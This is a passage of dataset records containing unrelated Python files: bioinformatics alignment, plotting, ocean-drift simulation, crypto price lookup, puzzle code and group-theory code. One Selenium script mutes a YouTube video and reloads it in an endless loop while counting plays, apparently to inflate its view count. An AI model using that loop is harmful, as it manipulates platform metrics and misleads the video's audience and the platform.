ref[StpC:StpC + K], EDScoring)\r\n EDS.append([EDT, StpC])\r\n if EDS != []:\r\n BED = min(EDS, key = lambda x:x[0]) # get the best matching position of this read, ignore ties\r\n return BED[1]\r\n else: return []\r\n\r\n\r\ndef matching(TargetRef, TRS):\r\n\r\n AlignmentHash = {} # track of the matching nucleotide of each position of the ref-seq\r\n fm = FMIndex(TargetRef)\r\n\r\n for i in TRS:\r\n\r\n BED = pigeonH (i, fm, TargetRef, EDScoring)\r\n if BED != []: # if k-mer has as match\r\n for j in range(BED, BED+K):\r\n if j not in AlignmentHash: # log the matching nucleotide of each position\r\n AlignmentHash[j] = [i[j - BED]]\r\n else:\r\n AlignmentHash[j].append(i[j - BED])\r\n else: continue\r\n\r\n return AlignmentHash\r\n\r\nAlignmentHash = matching(TargetRef, TRS)\r\n\r\nfor i in range(0, len(TargetRef)):\r\n if i in AlignmentHash:\r\n print(i)\r\n print(AlignmentHash[i])\r\n\r\n# regular timer\r\nminite = int((time() - ts) / 60)\r\nsec = ((time() - ts) % 60)\r\nprint(\"\\n\" + str(minite) + \"' \" + str(sec))","sub_path":"codebase/src/Intra.py","file_name":"Intra.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"45204881","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.android.webdriver import WebDriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\nurl = \"https://www.youtube.com/watch?v=on5E-FfLRGs\"\n\ndriver: WebDriver = webdriver.Chrome(\"chromedriver.exe\")\n\nwait = WebDriverWait(driver, 3)\npresence = EC.presence_of_element_located\nvisible = EC.visibility_of_element_located\n\n# Navigate to url with video being appended to search_query\ndriver.get(url)\ntry:\n driver.find_element_by_class_name(\"ytp-large-play-button \").click()\n driver.find_element_by_class_name(\"ytp-mute-button\").click()\nexcept:\n pass\ncount = 1\n\nwhile True:\n while True:\n if driver.current_url != url:\n print(\"finish:\", count)\n break\n time.sleep(0.5)\n driver.get(url)\n time.sleep(1)\n count = count + 1\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"649467510","text":"'''\n\tThe for loop takes a collection of items and executes a block of code once for each item in the collection.\n\tIn contrast, the while loop runs as long as, or while, a certain condition is true.\n\t'''\n\n# A while loop in action\n# Ex. use a while loop to count through a series of numbers\ndef count_num():\n\tcurrent_num = 1\n\twhile current_num <= 10:\n\t\t# Sets to count until the current value hits 10\n\t\tprint(current_num)\n\t\tcurrent_num += 1\n\t\t# Prints the current number and adds one to it\ncount_num()\n\n# Letting the user choose when to quit\ndef parrot():\n\tprompt = \"\\nTell me something, and I will repeat it back to you\"\n\tprompt += \"\\nEnter 'quit' to end the program. \"\n\t\n\tmessage = \"\"\n\twhile message != 'quit':\n\t\t# Will still print 'quit'\n\t\tmessage = input(prompt)\n\t\t\n\t\tif message != 'quit':\n\t\t\t# Will not exit program without the if statement\n\t\t\tprint(message)\nparrot()\n\n''' The variable 'flag' acts as a signal to a program. \n\tThe flag must stay true to remain active. \n\t'''\n\ndef parrot_flag():\n\tprompt = \"\\nTell me something, and I will repeat it back to you\"\n\tprompt += \"\\nEnter 'quit' to end the program. \"\n\t\n\tactive = True\n\t# This is the flag\n\twhile active:\n\t\tmessage = input(prompt)\n\t\t\n\t\tif message == 'quit':\n\t\t\tactive = False\n\t\telse:\n\t\t\tprint(message)\nparrot_flag()\n\n# Using 'break' to exit a while loop\n# Note: 'break' can be used in for loops as well for dictionaries.\ndef cities():\n\tprompt = \"\\nPlease enter the name of all the cities you've visited:\"\n\tprompt += \"\\nEnter 'quit' when you are finished. \"\n\n\twhile True:\n\t\tcity = input(prompt)\n\n\t\tif city == 'quit':\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(f\"I'd love to visit {city.title()}!\")\ncities()\n\n# Using 'continue' in a while loop\n# 'continue' returns you to the beginning of the loop instead of exiting\ndef counting():\n\tcurrent_num = 0\n\twhile current_num < 10:\n\t\tcurrent_num += 1\n\t\t# x += 1 will stop the loop from running forever\n\t\tif current_num % 2 == 0:\n\t\t\tcontinue\n\t\t\t# Skips over even numbers\n\n\t\tprint(current_num)\ncounting()\n","sub_path":"Crash Course/Part 1 (Basics)/User Input and While Loops/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"18092664","text":"import scipy.cluster.hierarchy as shc\n\nimport plotly\n\nplotly.offline.init_notebook_mode(connected=True)\nimport plotly.graph_objs as go\nfrom matplotlib import colors as mcolors\nimport plotly.figure_factory as FF\nimport pandas as pd\nfrom skbio.stats.composition import *\nfrom scipy.spatial.distance import pdist, squareform\n\ndef plot_changes(tr_hm2, tr_mp2, plot=True):\n traces = []\n colors = [\n '#1f77b4', # muted blue\n '#ff7f0e', # safety orange\n '#2ca02c', # cooked asparagus green\n '#d62728', # brick red\n '#9467bd', # muted purple\n '#8c564b', # chestnut brown\n '#e377c2', # raspberry yogurt pink\n '#7f7f7f', # middle gray\n '#bcbd22', # curry yellow-green\n '#17becf' # blue-teal\n ]\n for i, tr in enumerate(tr_hm2):\n color_ind = i%(len(colors))\n color = colors[color_ind]\n traces.append(go.Scatter(\n y = tr['dist'],\n x = tr_mp2[i]['x'],\n name = tr['name'],\n line=dict(dash = 'dash', color = color)\n ))\n traces.append(go.Scatter(\n y = tr_mp2[i]['dist'],\n x = tr_mp2[i]['x'],\n name = tr_mp2[i]['name'],\n line=dict(color = color)\n ))\n \n fig = go.Figure(data=traces)\n if plot:\n plotly.offline.iplot(fig)\n \n return traces\n\ndef boxplots_dist(data, meta, type_of_data='', plot = True):\n dist = pdist(data, 'euclidean')\n df_dist = pd.DataFrame(squareform(dist))\n df_dist.index=data.index\n df_dist.columns=data.index\n \n feature_name = 'source'\n df = df_dist\n ####\n features = set(meta[feature_name])\n # colors = list(mcolors.CSS4_COLORS.values())\n traces = []\n\n for feature in features:\n samples_for_source = list(meta.loc[meta[feature_name] == feature]['sample'])\n df_sub = df[df.index.isin(samples_for_source)]\n df_sub = df_sub[df_sub.columns.intersection(samples_for_source)]\n\n traces.append(go.Box(\n name = feature + ' ' + type_of_data,\n x= [feature]*len(df_sub.iloc[0][1:]),\n y=df_sub.iloc[0][1:]\n ))\n\n # layout = dict(title = 'MDS on multiple datasets',\n # yaxis = dict(zeroline = False, title= 'MDS1',),\n # xaxis = dict(zeroline = False, title= 'RMDS2',)\n # )\n \n layout = go.Layout(\n boxmode='group'\n )\n \n fig = go.Figure(data=traces,\n# layout=layout\n )\n if plot:\n plotly.offline.iplot(fig)\n \n return traces\n\ndef plotly_heatmap(otu_table, title, groups = None, feature = ''):\n dend_cols = shc.dendrogram(shc.linkage(otu_table, method='ward'), no_plot = True) \n dend_rows = shc.dendrogram(shc.linkage(otu_table.T, method='ward'), no_plot = True) \n \n reordered_table = otu_table.T\n\n cols = dend_cols['ivl']\n cols_pre = list(otu_table.T.columns)\n dictionary = {}\n for i, r in enumerate(cols_pre):\n dictionary[i]=r\n new_cols = []\n for c in cols:\n new_cols.append(dictionary[int(c)])\n reordered_table = reordered_table[new_cols]\n \n if isinstance(groups, pd.DataFrame):\n groups = groups.reindex(new_cols)\n \n rows = dend_rows['ivl']\n rows_pre = list(otu_table.T.index)\n dictionary = {}\n for i, r in enumerate(rows_pre):\n dictionary.update({i: r})\n new_rows = []\n for r in rows:\n new_rows.append(dictionary[int(r)])\n reordered_table = reordered_table.reindex(new_rows)\n \n \n figure = FF.create_dendrogram(\n otu_table, orientation='bottom', labels=cols_pre,\n linkagefun=lambda x: shc.linkage(otu_table, 'ward', metric='euclidean')\n )\n for i in range(len(figure['data'])):\n figure['data'][i]['yaxis'] = 'y2'\n \n dendro_side = FF.create_dendrogram(\n otu_table, orientation='right',\n labels=rows_pre,\n linkagefun=lambda x: shc.linkage(otu_table.T, 'ward', metric='euclidean')\n )\n for i in range(len(dendro_side['data'])):\n dendro_side['data'][i]['xaxis'] = 'x2'\n figure.add_traces(dendro_side['data'])\n \n heatmap = [go.Heatmap( \n z=reordered_table.values.tolist(),\n x=figure['layout']['xaxis']['tickvals'],\n y=dendro_side['layout']['yaxis']['tickvals'],\n colorscale='Viridis')]\n figure.add_traces(heatmap)\n\n # Add grouping information to Heatmap\n if isinstance(groups, pd.DataFrame):\n heatmap = [go.Heatmap( \n z=int(groups[feature].values),\n x=figure['layout']['xaxis']['tickvals'],\n y=[0]*len(groups),\n yaxis = 'y3',\n # colorscale=[\n # [0, 'green'], \n # [0.25, 'green'], \n \n # [0.25, 'red'], \n # [0.5, 'red'], \n \n # [0.5, 'blue'],\n # [0.75, 'blue'],\n \n # [0.75, 'black'],\n # [1, 'black']\n # ],\n \n # colorbar = {\n # 'x':1.1, \n # 'tickvals': [0,1,2,3],\n # 'ticktext': ['Control','CeD','UC', 'CD']\n # }\n )]\n figure.add_traces(heatmap)\n\n figure['layout'].update({'yaxis3':{'domain':[0, .1],\n 'mirror': False,\n 'showgrid': False,\n 'showline': False,\n 'zeroline': False,\n 'showticklabels': False,\n 'ticks': ''\n }})\n \n\n # Edit xaxis\n figure['layout'][\"autosize\"] = True\n figure['layout']['title'].update({'text':title}),\n figure['layout']['xaxis'].update({'domain': [.15, 1],\n 'mirror': False,\n 'showgrid': False,\n 'showline': False,\n 'zeroline': False,\n 'ticks': 'outside'\n })\n # Edit xaxis2\n figure['layout'].update({'xaxis2': {'domain': [0, .15],\n 'mirror': False,\n 'showgrid': False,\n 'showline': False,\n 'zeroline': False,\n 'showticklabels': False,\n 'ticks': ''\n }})\n\n # Edit yaxis\n figure['layout']['yaxis'].update({'domain': [0.1, .85],\n 'mirror': False,\n 'showgrid': False,\n 'showline': False,\n 'zeroline': False,\n 'showticklabels': True,\n 'ticktext':dendro_side['layout']['yaxis']['ticktext'], \n 'tickvals':dendro_side['layout']['yaxis']['tickvals'],\n 'ticks': 'outside'\n })\n # Edit yaxis2\n figure['layout'].update({'yaxis2':{'domain':[.825, .975],\n 'mirror': False,\n 'showgrid': False,\n 'showline': False,\n 'zeroline': False,\n 'showticklabels': False,\n 'ticks': ''\n }})\n \n figure['layout'].update(dict(height=900, width=900))\n plotly.offline.iplot(figure, config={'showLink': True})\n return figure\n\n\ndef viz_zeroes(otu_table):\n data_zeros = otu_table[:]==0\n data_zeros = data_zeros.astype(int)\n fig = plotly_heatmap(data_zeros.T)\n \n \ndef time_filled_scatter(otu_table):\n x=list(otu_table.index)\n\n data = []\n for col in otu_table.columns:\n data.append(dict(\n x=x,\n y=otu_table[col],\n hoverinfo='x+y',\n mode='lines',\n stackgroup='one',\n name=col.split('|')[-1]\n ))\n\n fig = dict(data=data)\n plotly.offline.iplot(fig, config={'showLink': True})\n\ndef plot_reads_bps(meta, reads=True):\n feature = 'reads'\n if reads == False:\n feature = 'bps'\n\n meta = meta.sort_values(feature)\n data = [go.Bar( x=meta['fs_name'], y=meta[feature] )]\n fig = go.Figure(data=data)\n plotly.offline.iplot(fig)\n \ndef plot_centr(centr, subtitle=''):\n trace4 = go.Bar(\n y=list(centr.index),\n x=list(centr['uncl']/centr['total']),\n name='uncl',\n orientation = 'h',\n )\n trace2 = go.Bar(\n y=list(centr.index),\n x=list(centr['bacteria']/centr['total']),\n name='bacteria',\n orientation = 'h',\n )\n trace3 = go.Bar(\n y=list(centr.index),\n x=list(centr['other']/centr['total']),\n name='other',\n orientation = 'h',\n )\n trace1 = go.Bar(\n y=list(centr.index),\n x=list(centr['homo']/centr['total']),\n name='HUMAN',\n orientation = 'h',\n )\n trace5 = go.Bar(\n y=list(centr.index),\n x=list(centr['vir']/centr['total']),\n name='vir',\n orientation = 'h'\n )\n trace6 = go.Bar(\n y=list(centr.index),\n x=list(centr['archaea']/centr['total']),\n name='archaea',\n orientation = 'h'\n )\n\n data = [trace4, trace2, trace3, trace1, trace5, trace6]\n layout = go.Layout(\n barmode='stack',\n title = 'General taxa composition; ' + subtitle \n )\n\n fig = go.Figure(data=data, layout=layout)\n plotly.offline.iplot(fig)\n\ndef plot_mds(mds, feature_name, meta, title='MDS', select_by='fs_name'):\n features = set(meta[feature_name])\n colors = list(mcolors.CSS4_COLORS.values())\n traces = []\n\n for feature in features:\n samples_for_source = list(meta.loc[meta[feature_name] == feature][select_by])\n mds_sub = mds[mds.index.isin(samples_for_source)]\n trace = go.Scatter3d(\n x = mds_sub[0], y = mds_sub[1], z = mds_sub[2],\n mode = 'markers',\n marker = dict(\n size = 6,\n ),\n name = feature,\n text = mds_sub.index)\n traces.append(trace)\n\n layout = dict(title = title,\n yaxis = dict(zeroline = False, title= 'MDS1',),\n xaxis = dict(zeroline = False, title= 'RMDS2',)\n )\n\n fig = go.Figure(data=traces,\n layout=layout)\n plotly.offline.iplot(fig)","sub_path":"api/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":10985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"647772607","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n# nicer looking default plots\nplt.style.use('bmh')\n\n# Library to read data from NetCDF files\nimport xarray as xr\n\n# 2D spline interpolation routine\nfrom scipy.interpolate import RectBivariateSpline\n\n# Map plotting library\nimport cartopy\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\n\n# library for coordinate transformations\nimport pyproj\n\n\nclass Interpolator():\n def __init__(self, dataset):\n self.dataset = dataset\n\n def get_interpolators(self, X, it):\n # Add a buffer of cells around the extent of the particle cloud\n buf = 3\n # Find extent of particle cloud in terms of indices\n imax = np.searchsorted(self.dataset.X, np.amax(X[0,:])) + buf\n imin = np.searchsorted(self.dataset.X, np.amin(X[0,:])) - buf\n jmax = np.searchsorted(self.dataset.Y, np.amax(X[1,:])) + buf\n jmin = np.searchsorted(self.dataset.Y, np.amin(X[1,:])) - buf\n # Take out subset of array, to pass to\n # interpolation object\n # Fill NaN values (land cells) with 0, otherwise\n # interpolation won't work\n u = self.dataset.u[it, 0, jmin:jmax, imin:imax].fillna(0.0)\n v = self.dataset.v[it, 0, jmin:jmax, imin:imax].fillna(0.0)\n # RectBivariateSpline essentially returns a function,\n # which can be called to get value at arbitrary position\n # kx and ky sets order of spline interpolation along either direction (must be 1 <= kx <= 5)\n # transpose arrays to switch order of coordinates\n fu = RectBivariateSpline(self.dataset.X[imin:imax], self.dataset.Y[jmin:jmax], u.T)#, kx = 3, ky = 3)\n fv = RectBivariateSpline(self.dataset.X[imin:imax], self.dataset.Y[jmin:jmax], v.T)#, kx = 3, ky = 3)\n return fu, fv\n\n def get_time_index(self, t):\n # Get index of largest timestamp smaller than (or equal to) t\n return np.searchsorted(self.dataset.time, t, side='right') - 1\n\n def __call__(self, X, t):\n # get index of current time in dataset\n it = self.get_time_index(t)\n # get interpolating functions,\n # covering the extent of the particle\n fu, fv = self.get_interpolators(X, it)\n # Evaluate velocity at position(x[:], y[:])\n dx = fu(X[0,:], X[1,:], grid = False)\n dy = fv(X[0,:], X[1,:], grid = False)\n return np.array([dx, dy])\n\n\ndatapath = 'Norkyst-800m.nc'\nd = xr.open_dataset(datapath)\nf = Interpolator(dataset = d)\n#h = np.timedelta64(3600, 's')\nh = 3600\ntotal_time = 10*24\n\n\ndef eulerstep(X,t,h):\n X = X + h*f(X,t)\n return X\n \n\ndef trapstep(X,t,h):\n f1 = f(X,t)\n X2 = eulerstep(X,t,h)\n f2 = f(X2, t+h)\n X = X + h/2*(f1+f2)\n return X\n\ndef trapezoid():\n t0 = np.datetime64('2017-02-01T12:00:00')\n X = np.array([-3000000, -1200000]).reshape(2,1)\n x = np.zeros(total_time)\n y = np.zeros(total_time)\n x[0] = X[0]\n y[0] = X[1]\n for i in range(1,total_time):\n X = np.array([x[i-1],y[i-1]]).reshape(2,1)\n next = trapstep(X,t0+i*h,h)\n x[i] = next[0]\n y[i] = next[1]\n return x,y \n\n\ndef plot_path(x,y):\n d = xr.open_dataset('NorKyst-800m.nc')\n fig = plt.figure(figsize=(12,8))\n ax = plt.axes(projection=ccrs.NorthPolarStereo())\n land_10m = cfeature.NaturalEarthFeature('physical', 'land', '10m', color = '#dddddd')\n ax.add_feature(land_10m)\n ax.coastlines(resolution='10m')\n p1 = pyproj.Proj(d.projection_stere.proj4)\n p2 = pyproj.Proj(proj='latlong')\n lons, lats = pyproj.transform(p1, p2, x, y)\n ax.plot(lons, lats, transform=ccrs.PlateCarree(), zorder=2)\n ax.set_extent((0, 10, 57, 62))\n plt.show()\n\nx,y = trapezoid()\nplot_path(x,y)","sub_path":"prosjekt 3.4.py","file_name":"prosjekt 3.4.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"76012487","text":"from crycompare import *\nimport json\nimport time\nimport sys\n\np = Price()\nh = History()\n\nexchanges = ['Cryptsy', 'BTCChina', 'Bitstamp', 'BTER', 'OKCoin', 'Coinbase', 'Poloniex', 'Cexio', 'BTCE', 'BitTrex', 'Kraken', 'Bitfinex', 'Yacuna', 'LocalBitcoins', 'Yunbi', 'itBit', 'HitBTC', 'btcXchange', 'BTC38', 'Coinfloor', 'Huobi', 'CCCAGG', 'LakeBTC', 'ANXBTC', 'Bit2C', 'Coinsetter', 'CCEX', 'Coinse', 'MonetaGo', 'Gatecoin', 'Gemini', 'CCEDK', 'Cryptopia', 'Exmo', 'Yobit', 'Korbit', 'BitBay', 'BTCMarkets', 'Coincheck', 'QuadrigaCX', 'BitSquare', 'Vaultoro', 'MercadoBitcoin', 'Bitso', 'Unocoin', 'BTCXIndia', 'Paymium', 'TheRockTrading', 'bitFlyer', 'Quoine', 'Luno', 'EtherDelta', 'bitFlyerFX', 'TuxExchange', 'CryptoX', 'Liqui', 'MtGox', 'BitMarket', 'LiveCoin', 'Coinone', 'Tidex', 'Bleutrade', 'EthexIndia', 'Bithumb', 'CHBTC', 'ViaBTC', 'Jubi', 'Zaif', 'Novaexchange', 'WavesDEX', 'Binance', 'Lykke', 'Remitano', 'Coinroom', 'Abucoins', 'BXinth', 'Gateio', 'HuobiPro', 'OKEX', 'coinmakretcap'] #coimmakretcap is not true, be this will work\n\ndef getCoinInfo(coin):\n try:\n coininfo = p.coinList()['Data'][coin]\n return \"https://www.cryptocompare.com\"+coininfo['ImageUrl'], \"https://www.cryptocompare.com\"+coininfo['Url'], coininfo['Id'], coininfo['FullName'], coininfo['SortOrder']\n except:\n raise ValueError('Invalid coin info for ' + coin)\n\ndef getAllCoins():\n return list(p.coinList()['Data'].keys())\n\ndef getAllExchanges():\n return exchanges\n\ndef diff(from_prise, to_prise):\n return 100/to_prise*from_prise-100\n\ndef getCoin(from_coin, to_coin='USD', exchange='CCCAGG', usefallback=True ):\n if exchange.upper() not in map(lambda x:x.upper(),exchanges):\n raise ValueError('unsupported exchange')\n from_coin = from_coin.upper()\n timestamp_now = int(time.time())\n timestamp_hour = timestamp_now - 3600 # 1houre\n timestamp_day = timestamp_now - (60*60*24) # 1day\n timestamp_7days = timestamp_now - (60*60*24*7) # 7days\n try:\n price_now=p.price(from_coin, to_coin, e=exchange)[to_coin]\n #price_now=p.priceHistorical(from_coin, to_coin, exchange)[from_coin][to_coin]\t\t\t\n price_hour=p.priceHistorical(from_coin, to_coin, exchange, ts=timestamp_hour)[from_coin][to_coin]\n price_day=p.priceHistorical(from_coin, to_coin, exchange, ts=timestamp_day)[from_coin][to_coin]\n price_7days=p.priceHistorical(from_coin, to_coin, exchange, ts=timestamp_7days)[from_coin][to_coin]\n return (price_now, diff(price_now, price_hour), diff(price_now, price_day), diff(price_now,price_7days), exchange)\n\n except Exception as inst:\n if usefallback:\n return getCoin(from_coin, to_coin, usefallback=False) \n else:\n raise ValueError('Invalid coin pair ' + from_coin + \"/\" + to_coin)\n","sub_path":"cryptocompare_helper.py","file_name":"cryptocompare_helper.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"356830513","text":"import common\n\n\nmoons = [\n [ -2, 9, -5 ],\n [ 16, 19, 9 ],\n [ 0, 3, 6 ],\n [ 11, 0, 11 ],\n]\n\nvelocities = [\n [ 0, 0, 0 ],\n [ 0, 0, 0 ],\n [ 0, 0, 0 ],\n [ 0, 0, 0 ]\n]\n\ndef comp(a, b):\n if a < b:\n return -1\n if a > b:\n return 1\n\n return 0\n\n\ndef total_energy(moon, velocity):\n pe = sum((abs(x) for x in moon))\n ke = sum((abs(x) for x in velocity))\n return pe * ke\n\ndef step(moons, velocities):\n\n for k, moon in enumerate(moons):\n dx = sum((comp(m[0], moon[0]) for m in moons))\n dy = sum((comp(m[1], moon[1]) for m in moons))\n dz = sum((comp(m[2], moon[2]) for m in moons))\n\n velocities[k][0] += dx\n velocities[k][1] += dy\n velocities[k][2] += dz\n\n for k, moon in enumerate(moons):\n moon[0] += velocities[k][0]\n moon[1] += velocities[k][1]\n moon[2] += velocities[k][2]\n\n return (moons, velocities)\n\ndef main(session=None):\n cur_step = 0\n states = set()\n while True:\n step(moons, velocities)\n state = (\n moons[0][2],\n moons[1][2],\n moons[2][2],\n moons[3][2],\n velocities[0][2],\n velocities[1][2],\n velocities[2][2],\n velocities[3][2]\n )\n\n if state in states:\n return print(cur_step, state)\n\n cur_step += 1\n states.add(state)\n if cur_step % 10000 == 0:\n print(cur_step)\n\n return raw\n","sub_path":"2019/day12/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"365402790","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\GitHub\\django-microsip-base\\django_microsip_base\\django_microsip_base\\apps\\plugins\\djmicrosip_generaventasconsig\\djmicrosip_generaventasconsig\\urls.py\n# Compiled at: 2015-02-14 13:11:26\nfrom django.conf.urls import patterns, url\nfrom .views import index, PrepararAplicacion, preferencias, generar_ventas, GenerarVentasSeleccionadas\nurlpatterns = patterns('', (\n '^$', index), (\n 'herramientas/preparar_aplicacion/$', PrepararAplicacion), (\n 'preferencias/$', preferencias), (\n 'generar_ventas/$', generar_ventas), (\n 'generar_venta_de_facturas/$', GenerarVentasSeleccionadas))","sub_path":"pycfiles/djmicrosip_generaventasconsig-0.0.7/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"387369927","text":"# публичные тестовые случаи из текста условия задачи\nPUBLIC_TEST_CASES = [\n {\"test_input\": {'id': 1234, 'name': 'Холодильник', 'package_params': {'width': 30, 'height': 50},\n 'location_and_quantity': [{'location': 'Магазин на Ленина', 'amount': 8},\n {'location': 'Магазин в центре', 'amount': 1}]},\n \"expected\": [(1, 1234, 'Магазин на Ленина', 8), (2, 1234, 'Магазин в центре', 1)]}]\n# {\"test_input\": [[1, 0], [1, 1]], \"expected\": 1},\n# {\"test_input\": [[1, 0], [0, 1]], \"expected\": 2},\n# {\n# \"test_input\": [\n# [1, 1, 1, 1, 1],\n# [0, 0, 0, 0, 0],\n# [0, 0, 1, 1, 0],\n# [1, 0, 1, 1, 0],\n# ],\n# \"expected\": 3,\n# },\n# {\"test_input\": [[0, 0, 0], [0, 0, 0], [0, 0, 0]], \"expected\": 0},\n# {\"test_input\": [[1, 1, 1], [1, 1, 1], [1, 1, 1]], \"expected\": 1},\n# ]\n#\n# # Здесь можно написать свои тестовые случаи\n# SECRET_TEST_CASES = []","sub_path":"tests/constant_test_cases.py","file_name":"constant_test_cases.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"89256687","text":"import os\n\n\ndef example_set():\n data_root = './data/train'\n class_names = os.listdir(data_root)\n class_names.sort()\n class_dict = {i: class_names[i] for i in range(len(class_names))}\n examples = []\n\n class_index = 0\n for c in class_names:\n class_path = os.path.join(data_root, c)\n for file_name in os.listdir(class_path):\n file_path = os.path.join(class_path, file_name)\n examples.append((file_path, class_index))\n class_index = class_index + 1\n\n print('images_found, total: ' + str(len(examples)))\n print('class: ' + str(class_dict))\n return examples, class_dict\n\n\nif __name__ == \"__main__\":\n example_set()\n","sub_path":"face_emotion_recognition/utils/prepocessing.py","file_name":"prepocessing.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"297449686","text":"import time\nimport numpy as np\n\nfrom mmgroup import structures\nfrom mmgroup.mat24 import vect_to_cocode\nfrom mmgroup.mat24 import ploop_theta\nfrom mmgroup.mm import mm_aux_index_sparse_to_leech2\nfrom mmgroup.mm import mm_vector\nfrom mmgroup.mm import mm_aux_mmv_extract_sparse_signs\nfrom mmgroup.structures.mm0_group import MM0Group, MM0\nfrom mmgroup.mm_group import MMGroup, MM\nfrom mmgroup.mm_space import MMSpace, MMV\nfrom mmgroup.generators import mm_group_check_word_n\nfrom mmgroup.generators import mm_group_words_equ\nfrom mmgroup.generators import mm_group_n_mul_element\nfrom mmgroup.generators import mm_group_n_reduce_element \nfrom mmgroup.generators import gen_leech3to2_type4\nfrom mmgroup.generators import gen_leech2_reduce_type4\nfrom mmgroup.clifford12 import chk_qstate12\nfrom mmgroup.clifford12 import uint64_parity\nfrom mmgroup.clifford12 import leech3matrix_kernel_vector\nfrom mmgroup.clifford12 import leech3matrix_watermark\nfrom mmgroup.clifford12 import leech3matrix_watermark_perm_num\nfrom mmgroup.clifford12 import leech2matrix_add_eqn\nfrom mmgroup.clifford12 import leech2matrix_solve_eqn\nfrom mmgroup.clifford12 import bitmatrix64_t\nfrom mmgroup.clifford12 import xsp2co1_half_order_word\nfrom mmgroup.clifford12 import xsp2co1_power_word\nfrom mmgroup.clifford12 import leech_matrix_norm_A\n\nfrom mmgroup.mm15 import op_copy as mm_op15_copy\nfrom mmgroup.mm15 import op_compare as mm_op15_compare\nfrom mmgroup.mm15 import op_word as mm_op15_word\nfrom mmgroup.mm15 import op_check_in_Gx0 as mm_op15_check_in_Gx0\nfrom mmgroup.mm15 import op_order as mm_op15_order\nfrom mmgroup.mm15 import op_order_Gx0 as mm_op15_order_Gx0\nfrom mmgroup.mm15 import op_reduce_M as mm_op15_reduce_M\n\n\n\nMMV3 = MMV(3)\nMMV15 = MMV(15)\nMM = MM0 # TODO: Fixme\n\nORDER_VECTOR = None\nORDER_TAGS = None\n\n\nOFS_NORM_A = 0\nOFS_DIAG_VA = 1\nOFS_WATERMARK_PERM = 2\nOFS_TAGS_Y = 26\nOFS_SOLVE_Y = 37\nOFS_TAGS_X = 48\nOFS_SOLVE_X = 72\nOFS_TAG_SIGN = 96\n\n\n#######################################################################\n# Find a vector stabilizing by an element of order n\n#######################################################################\n\ndef stabilizer_vector(v, g, n):\n \"\"\"Compute a vector stabilized by an element of the monster\n\n Le ``g`` be an element of the monster group of order ``n`` and \n ``v`` a vector in a represention of the monster. We return the\n vector ``sum(v * g**i for i in range(n))`` which is stabilized\n by ``g``. We always return ``None`` if that sum is 0 or a \n multiple of the 1 element in the representation space. The \n last condition is checked with a fast crude check only. \n \"\"\"\n vg = v.copy()\n w = v.copy()\n for i in range(1, n):\n vg *= g \n w += vg\n assert v == vg * g\n if (w['B'] == 0).all():\n return None\n return w\n\n\n#######################################################################\n# Assemble a test vector mod 15 from the input data\n#######################################################################\n\n\n\ndef make_order_vector(s_g71, s_v71, s_gA, diag, s_g94, s_v94):\n v71 = MMV15(10, s_v71)\n #print(\"v71 =\", v71)\n g71 = MM(s_g71)\n w71 = stabilizer_vector(v71, g71, 71)\n assert w71 is not None\n w71 *= MM(s_gA)\n v94 = 6 * MMV15(s_v94)\n g94 = MM(s_g94)\n w94 = stabilizer_vector(v94 - v94 * g94, g94**2, 47)\n assert w94 is not None\n w = w71 + w94\n v3 = leech3matrix_kernel_vector(15, w.data, diag)\n assert v3 != 0\n v_type4 = gen_leech3to2_type4(v3)\n assert v_type4 == 0x800000\n w.reduce()\n return w\n\n\n\ndef map_y(y_index):\n i, j = (y_index >> 14) & 0x1f, (y_index >> 8) & 0x1f\n vect = (1 << i) + (1 << j)\n gc = vect_to_cocode(vect)\n assert 0 <= gc < 0x800\n return gc \n \n \ndef map_x(x_index):\n v2 = mm_aux_index_sparse_to_leech2(x_index) \n return ((v2 & 0xfff) << 12) | ((v2 >> 12) & 0xfff) \n\n\n\ndef compute_order_vector(recompute = False, verbose = 0):\n global ORDER_VECTOR, ORDER_TAGS\n\n try:\n assert not recompute\n from mmgroup.structures import order_vector_data\n except (ImportError, AssertionError):\n from mmgroup.structures import find_order_vector\n result = find_order_vector.find_order_vector(verbose)\n find_order_vector.write_order_vector(result)\n from mmgroup.structures import order_vector_data\n del find_order_vector\n from mmgroup.structures.order_vector_data import S_G71, S_V71\n from mmgroup.structures.order_vector_data import S_GA, DIAG_VA\n from mmgroup.structures.order_vector_data import S_G94, S_V94\n ORDER_VECTOR = make_order_vector(\n S_G71, S_V71, S_GA, DIAG_VA, S_G94, S_V94\n )\n assert ORDER_VECTOR is not None\n OV = ORDER_VECTOR.data\n TAGS_Y = np.array(order_vector_data.TAGS_Y, dtype = np.uint32) \n TAGS_X = np.array(order_vector_data.TAGS_X, dtype = 